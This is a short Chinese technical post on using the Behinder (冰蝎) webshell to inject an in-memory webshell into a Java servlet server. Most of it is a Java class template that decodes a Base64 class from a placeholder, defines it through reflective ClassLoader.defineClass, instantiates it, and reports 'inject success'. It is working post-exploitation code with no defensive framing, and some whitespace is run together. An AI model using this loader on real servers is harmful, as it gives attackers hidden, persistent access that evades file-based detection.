[技术分享]冰蝎自定义代码注入内存马

ServletOutputStream so = ((ServletResponse) Response).getOutputStream();so.write("hello world".getBytes("UTF-8"));so.flush();so.close();

import javax.servlet.ServletOutputStream;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpSession;import javax.servlet.jsp.PageContext;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;import java.lang.reflect.Method;import java.util.Base64;publicclass Test {privateObject Request;privateObject Response;privateObject Session;@Overridepublicboolean equals(Object obj) {try {            fillContext(obj);String evilClassBase64 = "{{base64ClassBytes}}";            byte[] bytes = Base64.getDecoder().decode(evilClassBase64);            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);            method.setAccessible(true);            Class ccc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "{{className}}", bytes, new Integer(0), new Integer(bytes.length));            ccc.newInstance();            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();            so.write("inject success".getBytes("UTF-8"));            so.flush();            so.close();        } catch (Exception e) {            e.printStackTrace();        }returntrue;    }privatevoid fillContext(Object obj) throws Exception {if (obj.getClass().getName().indexOf("PageContext") >= 0) {this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);        } else {            Map<String, Object> objMap = (Map<String, Object>) obj;this.Session = objMap.get("session");this.Response = objMap.get("response");this.Request = objMap.get("request");        }        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response, "UTF-8");    }}